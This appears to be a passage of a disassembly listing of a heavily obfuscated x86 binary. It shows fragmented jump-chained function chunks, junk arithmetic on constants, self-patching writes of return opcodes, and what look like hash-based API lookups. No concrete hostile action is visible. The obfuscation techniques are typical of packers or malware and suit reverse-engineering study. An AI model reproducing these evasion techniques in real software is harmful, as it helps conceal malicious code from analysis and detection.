; FUNCTION CHUNK AT 0043E8A1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043E8D4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043EAA4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F70C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044071C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00440BB5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440F52 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00440F5D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004436B0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00443F29 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00444002 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044401F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004441F7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00444EA9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00444FD9 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 004461E4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448394 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448861 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044991A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00449F4B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A078 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044AA19 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0044AC3D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044D23E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044D28C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044DFC8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044E585 SIZE 0000000B BYTES

		jnb	loc_443F29
		pop	edx
		mov	eax, [esp+0]

loc_43B0A5:				; CODE XREF: y22d6.y.:004478E3j
		push	edx
		call	sub_43E913
		mov	eax, 0EF9F7D01h
		jmp	loc_438068
sub_43B09B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_43B0B5:				; CODE XREF: y22d6.y.:0044C3BCj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43B0B6:				; CODE XREF: sub_44B17B-C99j
		jmp	loc_43B1E4
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------

loc_43B0BB:				; CODE XREF: y22d6.y.:004471D6j
		jmp	loc_43D519
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4409F4

loc_43B0C0:				; CODE XREF: sub_4409F4+7j
		jmp	loc_443C58
; END OF FUNCTION CHUNK	FOR sub_4409F4
; ---------------------------------------------------------------------------

loc_43B0C5:				; CODE XREF: y22d6.y.:0043D818j
		jmp	locret_445130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A1BC

loc_43B0CA:				; CODE XREF: sub_43A1BC-21A9j
		jmp	nullsub_22
; END OF FUNCTION CHUNK	FOR sub_43A1BC
; ---------------------------------------------------------------------------

loc_43B0CF:				; CODE XREF: y22d6.y.:00447A5Fj
		mov	esi, [edx]
		pop	esi
		xor	edi, 3FCA0FCDh
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_43B0D8:				; CODE XREF: sub_44BCC2:loc_447A4Dj
		xor	eax, 390107DAh
		jmp	loc_441748
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_43B0E3:				; CODE XREF: sub_43A6E1:loc_4426C4j
		jnz	loc_44D58E
		jmp	loc_4408EA
; END OF FUNCTION CHUNK	FOR sub_43A6E1

; =============== S U B	R O U T	I N E =======================================



sub_43B0EE	proc near		; CODE XREF: sub_443D70:loc_438E8Ep
					; y22d6.y.:0043C70Dj

; FUNCTION CHUNK AT 004393B8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043E766 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043FF51 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440044 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00441930 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CF5F SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+0]
		jmp	loc_43FF51
sub_43B0EE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_43B0FD:				; CODE XREF: sub_44439D+14AFj
		test	eax, 200000h
		jmp	loc_43FEBB
; END OF FUNCTION CHUNK	FOR sub_44439D
; ---------------------------------------------------------------------------
		not	ebx
		jmp	sub_43A28E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_43B10F:				; CODE XREF: sub_44DB81-993Ej
		jbe	loc_44137E
		test	ebx, edi
		jmp	loc_44564C
; END OF FUNCTION CHUNK	FOR sub_44DB81

; =============== S U B	R O U T	I N E =======================================



sub_43B11C	proc near		; CODE XREF: y22d6.y.:00440AD9j
					; sub_449641+4A7p

; FUNCTION CHUNK AT 0043DB1E SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_444581

loc_43B125:				; CODE XREF: y22d6.y.:004487C1j
		mov	ds:off_41E21C, eax
		push	offset loc_44270C
		jmp	loc_43DB1E
sub_43B11C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4499F4

loc_43B135:				; CODE XREF: sub_4499F4:loc_447263j
		and	edx, 4E07AD22h
		sub	edx, 0A16FA68Ch
		test	edx, 8000h
		jmp	loc_43C214
; END OF FUNCTION CHUNK	FOR sub_4499F4
; ---------------------------------------------------------------------------
		jmp	ds:off_41E1FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449C1B

loc_43B152:				; CODE XREF: sub_449C1B+8j
		jmp	loc_44AE64
; END OF FUNCTION CHUNK	FOR sub_449C1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4428C2

loc_43B157:				; CODE XREF: sub_4428C2-97BBj
					; y22d6.y.:loc_449A38j	...
		jb	loc_441A8A
		xchg	ebp, [esp+4+var_4]
		mov	edx, ebp
		jmp	loc_43A64C
; END OF FUNCTION CHUNK	FOR sub_4428C2

; =============== S U B	R O U T	I N E =======================================



sub_43B167	proc near		; DATA XREF: y22d6.y.:00438580o
		lea	eax, sub_44E1BD
		mov	byte ptr [eax],	0C3h
		jmp	loc_443901
sub_43B167	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1BD

loc_43B175:				; CODE XREF: sub_44E1BD+1j
		mov	eax, [esp+0]
		push	edx
		push	offset sub_448465
		jmp	loc_43D6AB
; END OF FUNCTION CHUNK	FOR sub_44E1BD
; ---------------------------------------------------------------------------
		ror	ebp, 16h
		and	ecx, eax
		jmp	sub_43B006
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E14E

loc_43B18D:				; CODE XREF: sub_44E14E:loc_448BECj
		rol	edi, 1Fh
		or	edi, 64B92A87h
		add	edi, 8943843Bh
		xchg	edi, [esp+0]
		jmp	loc_447DA7
; END OF FUNCTION CHUNK	FOR sub_44E14E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A15

loc_43B1A4:				; CODE XREF: sub_445A15-8B50j
					; y22d6.y.:0043CEDBj
		push	offset loc_4412DD
		jmp	loc_43DC14
; END OF FUNCTION CHUNK	FOR sub_445A15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43B1AE:				; CODE XREF: sub_448EB6:loc_43ABE8j
		mov	eax, [ebp-20h]
		call	sub_442266
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_444720
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B635

loc_43B1BF:				; CODE XREF: sub_44B635-118BFj
					; sub_44B635:loc_43F60Aj
		mov	eax, 0CF0182F6h
		call	sub_43CA1A
		xor	eax, 0E2EB2F0Ah
		rol	eax, 19h
		push	esi

loc_43B1D3:				; CODE XREF: y22d6.y.:loc_4378ECj
		push	0F0A247E8h
		pop	esi
		sub	esi, 52B623E7h
		jmp	loc_448C4E
; END OF FUNCTION CHUNK	FOR sub_44B635
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43B1E4:				; CODE XREF: sub_44B17B:loc_43B0B6j
		sub	ebx, 601D63F2h
		and	ebx, 0E41F6195h
		or	ebx, 32EC2011h
		xor	ebx, 0B3C6BB37h
		jmp	loc_4398B3
; END OF FUNCTION CHUNK	FOR sub_44B17B

; =============== S U B	R O U T	I N E =======================================



sub_43B201	proc near		; CODE XREF: sub_448EB6+51j
					; y22d6.y.:0044C54Bp

; FUNCTION CHUNK AT 0043DDDC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043EF96 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445098 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00446019 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044A82C SIZE 0000000D BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	eax
		call	sub_44BF7B

loc_43B20B:				; CODE XREF: y22d6.y.:0044BC4Bj
		jmp	loc_43DDDC
sub_43B201	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_43B210:				; CODE XREF: sub_4481EF-C7Ej
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_4481EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE66

loc_43B215:				; CODE XREF: sub_43BE66+6j
		jmp	nullsub_24
; END OF FUNCTION CHUNK	FOR sub_43BE66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43B21A:				; CODE XREF: sub_44633F-D2C5j
		jmp	loc_4487D0
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF5B

loc_43B21F:				; CODE XREF: sub_43AF5B-328Fj
		jmp	loc_43708E
; END OF FUNCTION CHUNK	FOR sub_43AF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43B224:				; CODE XREF: y22d6.y.:0043C5BEj
					; sub_4432B8-2A62j ...
		jmp	loc_442A4C
; ---------------------------------------------------------------------------

loc_43B229:				; CODE XREF: sub_4432B8-BAF3j
					; y22d6.y.:00439294j
		xchg	ebx, [esp+0]
		mov	ecx, ebx
		pop	ebx
		jmp	loc_43CF39
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DA7

loc_43B234:				; CODE XREF: sub_441DA7+10j
		mov	eax, 0CB10B158h
		call	sub_43F7FF
		mov	ds:off_41E024, eax
		lea	eax, sub_439E63
		mov	byte ptr [eax],	0C3h
		jmp	loc_43A5A5
; END OF FUNCTION CHUNK	FOR sub_441DA7

; =============== S U B	R O U T	I N E =======================================



sub_43B252	proc near		; CODE XREF: sub_40140A+96p
					; sub_40158F+81p ...

; FUNCTION CHUNK AT 004376DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004378A1 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 004391FD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439B02 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043C517 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043C5C3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043D896 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DC7A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043E3C9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004415F6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00441CA8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044278E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00444689 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044485A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044851D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448670 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448E8A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A32F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B1BE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044CDEB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D60F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E2FC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044E511 SIZE 0000000B BYTES

		jz	loc_43C517
		mov	eax, ds:dword_4464B4
		or	eax, eax
		jmp	loc_448E8A
sub_43B252	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_43B265:				; CODE XREF: sub_442C0C:loc_43907Fj
		sub	al, 99h
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_449515
		jmp	loc_441C9E
; END OF FUNCTION CHUNK	FOR sub_442C0C
; ---------------------------------------------------------------------------
		push	ebx
		push	9993FF3Ah
		pop	ebx
		and	ebx, 2610E332h
		jns	loc_44A402
; START	OF FUNCTION CHUNK FOR sub_44928B

loc_43B28C:				; CODE XREF: sub_44928B+532Aj
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_44928B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44193A

loc_43B291:				; CODE XREF: sub_44193A+65E4j
		jmp	loc_441325
; END OF FUNCTION CHUNK	FOR sub_44193A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_43B296:				; CODE XREF: sub_43E185:loc_443FABj
		mov	eax, ebp
		pop	ebp
		xchg	eax, [esp+0Ch+var_C]
		mov	ebp, eax
		pop	eax
		jmp	loc_44AEA0
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F9E0

loc_43B2A4:				; CODE XREF: sub_43F9E0+3j
		xchg	ecx, [esp+4+var_4]
		push	0FADD3A96h
		pop	edi
		or	edi, 0F114F282h
		add	edi, 4660FC5h

loc_43B2B9:				; CODE XREF: sub_4452EE:loc_439C77j
		jmp	loc_442085
; END OF FUNCTION CHUNK	FOR sub_43F9E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43B2BE:				; CODE XREF: sub_448EB6+E6j
		or	ebx, 0F55FDE99h
		rol	ebx, 1Fh
		add	ebx, 591F153h
		mov	[ebx], eax
		xchg	edi, [esp-0Ch+arg_8]
		jmp	loc_43894E
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B3C9

loc_43B2D7:				; CODE XREF: sub_44B3C9+1j
		mov	eax, [esp+0]
		push	edx
		call	sub_44A46F
		push	0F24BB1E8h
		pop	eax
		jmp	loc_43FE7E
; END OF FUNCTION CHUNK	FOR sub_44B3C9
; ---------------------------------------------------------------------------
		or	eax, eax

loc_43B2ED:				; CODE XREF: y22d6.y.:0043FA82j
		jnz	loc_44D68F
		jmp	loc_440E99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_43B2F8:				; CODE XREF: sub_43837F:loc_43C41Bj
		mov	eax, ds:dword_4465AC[eax*4]
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_43D011
		jmp	loc_443C6B
; ---------------------------------------------------------------------------

loc_43B311:				; CODE XREF: sub_43837F+12B6Fj
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_4465AC[eax*4]
		jmp	loc_43A441
; END OF FUNCTION CHUNK	FOR sub_43837F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B81B

loc_43B323:				; CODE XREF: sub_44B81B-604Fj
		jl	loc_44AC2F

loc_43B329:				; CODE XREF: sub_44DA87-62BCj
		jmp	nullsub_179
; END OF FUNCTION CHUNK	FOR sub_44B81B
; ---------------------------------------------------------------------------
		pushf
		adc	ebp, ebx
		jmp	loc_44AC26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_43B336:				; CODE XREF: sub_43B09B+9E16j
		jg	loc_4431EF
		sub	edi, 0C7681CE1h
		jmp	loc_439E11
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------

loc_43B347:				; CODE XREF: y22d6.y.:0043E688j
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_444581

loc_43B348:				; CODE XREF: sub_444581-8C23j
					; sub_444581+584Ej
		xchg	eax, edx
		push	ebx
		push	8C62E5D2h
		pop	ebx
		or	ebx, 0D47723E1h
		jmp	loc_439040
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------
		push	1A1F95A7h
		pop	eax
		add	eax, 36E2B241h
		and	eax, 0AE8658E0h
		sub	eax, 0CC13F859h
		add	eax, 0E6BDAFE5h
		push	eax
		jmp	loc_447BFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B3C9

loc_43B37F:				; CODE XREF: sub_44B3C9:loc_4437FFj
		mov	eax, [esp+4+var_4]
		push	edx
		call	sub_44A46F
		push	6C48FCDDh
		jmp	loc_43B77E
; END OF FUNCTION CHUNK	FOR sub_44B3C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43B392:				; CODE XREF: sub_4432B8:loc_44C77Ej
		mov	edx, 0A2CD59D9h
		call	sub_449725
; END OF FUNCTION CHUNK	FOR sub_4432B8
; START	OF FUNCTION CHUNK FOR sub_442E1F

loc_43B39C:				; CODE XREF: sub_442E1F-75ACj
		jmp	loc_43CE3F
; END OF FUNCTION CHUNK	FOR sub_442E1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_43B3A1:				; CODE XREF: sub_44BCC2-11297j
		jmp	loc_43FE53
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44371A

loc_43B3A6:				; CODE XREF: sub_44371A+6547j
		ror	ecx, 19h
		cmp	ebx, 859043FEh
		jmp	loc_43A446
; END OF FUNCTION CHUNK	FOR sub_44371A
; ---------------------------------------------------------------------------

loc_43B3B4:				; CODE XREF: y22d6.y.:loc_446E2Dj
		jl	loc_44975F
; START	OF FUNCTION CHUNK FOR sub_4489FA

loc_43B3BA:				; CODE XREF: sub_4489FA+15j
		jmp	nullsub_117
; END OF FUNCTION CHUNK	FOR sub_4489FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441E5C

loc_43B3BF:				; CODE XREF: sub_441E5C+19j
		jmp	loc_442B0C
; END OF FUNCTION CHUNK	FOR sub_441E5C
; ---------------------------------------------------------------------------
		test	ebp, ebx
		jmp	loc_441A9E
; ---------------------------------------------------------------------------

loc_43B3CB:				; CODE XREF: y22d6.y.:loc_440279j
		push	ecx

; =============== S U B	R O U T	I N E =======================================



sub_43B3CC	proc near		; CODE XREF: sub_449ECF-FBA9p
		xchg	ecx, [esp+0]
		pop	ecx
		pushf
		push	0F686FA5Eh
		pop	eax
		jmp	loc_4490E9
sub_43B3CC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F34

loc_43B3DC:				; CODE XREF: sub_446F34+13j
		xchg	edx, [esp+4+var_4]
		jmp	loc_44ABF4
; END OF FUNCTION CHUNK	FOR sub_446F34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD42

loc_43B3E4:				; CODE XREF: sub_43DD42+8274j
		pop	ebp

locret_43B3E5:				; CODE XREF: sub_44D7E0:loc_447A8Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_43DD42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_43B3E6:				; CODE XREF: sub_4480DE-2130j
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 99h
		jmp	loc_43EFDC
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_43B3F2:				; CODE XREF: sub_44271A-228j
		sub	eax, 0C5B8EACCh
		rol	eax, 0Eh
		add	eax, 0B7F089C9h
		call	sub_43F4EA
		mov	al, [ebp-5]
		pop	ebx
		xchg	esi, [esp+4+var_4]
		mov	ecx, esi
		jmp	loc_44AE34
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
		dd 1920C381h, 0E381A52Fh, 8A699478h, 0F0CC3C1h,	3D8983h
		dd 0EDC3F700h, 0E9D1CA13h, 0FFFFFA02h, 87243C87h, 0FA8B2414h
		dd 0F4BB535Ah, 0E9004397h, 462Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43B448:				; CODE XREF: sub_4432B8:loc_4456B4j
		jnz	loc_449F59
		jmp	loc_4450CE
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D44A

loc_43B453:				; CODE XREF: sub_44D44A+Fj
		xor	ebx, 66DC113Dh
		add	ebx, 0A63AC2C0h
		xor	ebx, 0C67277C5h
		sub	eax, ebx
		pop	ebx
		ror	eax, 0Eh
		jmp	loc_442C58
; END OF FUNCTION CHUNK	FOR sub_44D44A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBC3

loc_43B470:				; CODE XREF: sub_43FBC3+6124j
		jnp	loc_4433A7
		mov	[eax], ecx
		add	ecx, 94D30965h
		jmp	loc_44128A
; END OF FUNCTION CHUNK	FOR sub_43FBC3
; ---------------------------------------------------------------------------

loc_43B483:				; CODE XREF: y22d6.y.:0043C6A8j
		jns	loc_44E5BA

; =============== S U B	R O U T	I N E =======================================



sub_43B489	proc near		; CODE XREF: sub_43C55B+1553p
		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	sub_4464C8
sub_43B489	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4464C8

loc_43B495:				; CODE XREF: sub_4464C8j
		xchg	ebx, [esp+0]
		mov	edx, ebx
		jmp	loc_437A2C
; END OF FUNCTION CHUNK	FOR sub_4464C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441191

loc_43B49F:				; CODE XREF: sub_441191:loc_440745j
		xor	eax, 2BBEDA5h
		call	sub_44BB81
; END OF FUNCTION CHUNK	FOR sub_441191
; START	OF FUNCTION CHUNK FOR sub_448802

loc_43B4AA:				; CODE XREF: sub_448802+Cj
		jmp	nullsub_362
; END OF FUNCTION CHUNK	FOR sub_448802
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_229. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_43B4B0:				; CODE XREF: sub_43704E+D04Cj
		jmp	loc_43FADF
; END OF FUNCTION CHUNK	FOR sub_43704E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437712

loc_43B4B5:				; CODE XREF: sub_437712+4D24j
		jmp	loc_43E6D5
; END OF FUNCTION CHUNK	FOR sub_437712
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DF73

loc_43B4BA:				; CODE XREF: sub_44DF73:loc_44845Bj
		pop	ecx
		xchg	ecx, [esp-4+arg_0]
		mov	ebx, ecx
		pop	ecx
		pop	eax
		xor	eax, 0A2D00C13h
		jmp	loc_440B3B
; END OF FUNCTION CHUNK	FOR sub_44DF73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446145

loc_43B4CD:				; CODE XREF: sub_446145+16j
		call	sub_43760A
		mov	edx, 0CF0182F6h
		call	sub_43B01D
; END OF FUNCTION CHUNK	FOR sub_446145
; START	OF FUNCTION CHUNK FOR sub_43FBC3

loc_43B4DC:				; CODE XREF: sub_43FBC3-5C26j
		jz	loc_441292
		jmp	loc_445CE5
; END OF FUNCTION CHUNK	FOR sub_43FBC3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43B4E8:				; CODE XREF: y22d6.y.:loc_4390D9j
					; y22d6.y.:00449547j
		jmp	loc_43C115
; ---------------------------------------------------------------------------

loc_43B4ED:				; CODE XREF: y22d6.y.:0043CF5Bj
		jmp	loc_43E4CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4436DB

loc_43B4F2:				; CODE XREF: sub_4436DB:loc_447AD4j
		push	ds:dword_441974
		retn
; END OF FUNCTION CHUNK	FOR sub_4436DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E63

loc_43B4F9:				; CODE XREF: sub_439E63+54C1j
		jmp	loc_44CC57
; END OF FUNCTION CHUNK	FOR sub_439E63
; ---------------------------------------------------------------------------

loc_43B4FE:				; CODE XREF: y22d6.y.:0043E1E7j
		jmp	loc_43F672
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_43B503:				; CODE XREF: sub_43D20E-17C0j
		push	offset loc_44C3AD
		jmp	nullsub_120
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------

loc_43B50D:				; CODE XREF: y22d6.y.:0044610Bj
		push	offset loc_43FB6D
		jmp	locret_44435F
; ---------------------------------------------------------------------------
		rol	edi, 5
		jmp	sub_44BA7B
; ---------------------------------------------------------------------------

loc_43B51F:				; DATA XREF: sub_43D025:loc_44E3DDo
		jno	loc_43E573
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_44D9F8
		mov	eax, [ebp+8]
		push	eax
		jmp	loc_44D71B
; ---------------------------------------------------------------------------

locret_43B538:				; CODE XREF: y22d6.y.:loc_43A85Ej
		retn
; ---------------------------------------------------------------------------

loc_43B539:				; CODE XREF: y22d6.y.:00437A27j
		jge	loc_44CD31
		ror	ecx, 1Ch
		shr	eax, 15h
		mov	esi, [ebx]
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43B547:				; CODE XREF: sub_4432B8:loc_43A9E3j
		jmp	loc_44B925
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		cmp	ecx, ebp
		jmp	loc_442DA0
; ---------------------------------------------------------------------------

loc_43B553:				; CODE XREF: y22d6.y.:004402F0j
		rol	ebx, 9
		jmp	loc_44D98C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_43B55B:				; CODE XREF: sub_44BCC2-3A2j
		jz	loc_442F27
		jmp	loc_43F542
; END OF FUNCTION CHUNK	FOR sub_44BCC2

; =============== S U B	R O U T	I N E =======================================



sub_43B566	proc near		; CODE XREF: sub_4410E0:loc_440FC1p
					; y22d6.y.:004473A8j

; FUNCTION CHUNK AT 00439586 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E44B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00443C7B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00448591 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C741 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CDE2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044E0AB SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-14h]
		mov	eax, [eax+64h]

loc_43B570:				; CODE XREF: y22d6.y.:0043D349j
		push	edi
		push	9AC92D9Eh
		pop	edi
		jmp	loc_448591
sub_43B566	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439CB5

loc_43B57C:				; CODE XREF: sub_439CB5+Aj
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_4498CC
; END OF FUNCTION CHUNK	FOR sub_439CB5
; ---------------------------------------------------------------------------
		jmp	ds:off_41E0B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_43B58A:				; CODE XREF: sub_44BBBA-1398Bj
		jmp	loc_439017
; END OF FUNCTION CHUNK	FOR sub_44BBBA

; =============== S U B	R O U T	I N E =======================================



sub_43B58F	proc near		; CODE XREF: y22d6.y.:loc_43FF5Bj
					; y22d6.y.:004480C5j ...
		push	offset loc_44D7BD
		jmp	nullsub_303
sub_43B58F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D3B1

loc_43B599:				; CODE XREF: sub_44D3B1:loc_43F825j
		jz	loc_43A2F6
; END OF FUNCTION CHUNK	FOR sub_44D3B1
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43B59F:				; CODE XREF: sub_44B1D2-FA9Cj
					; y22d6.y.:0043C43Bj
		jmp	loc_43A06D
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
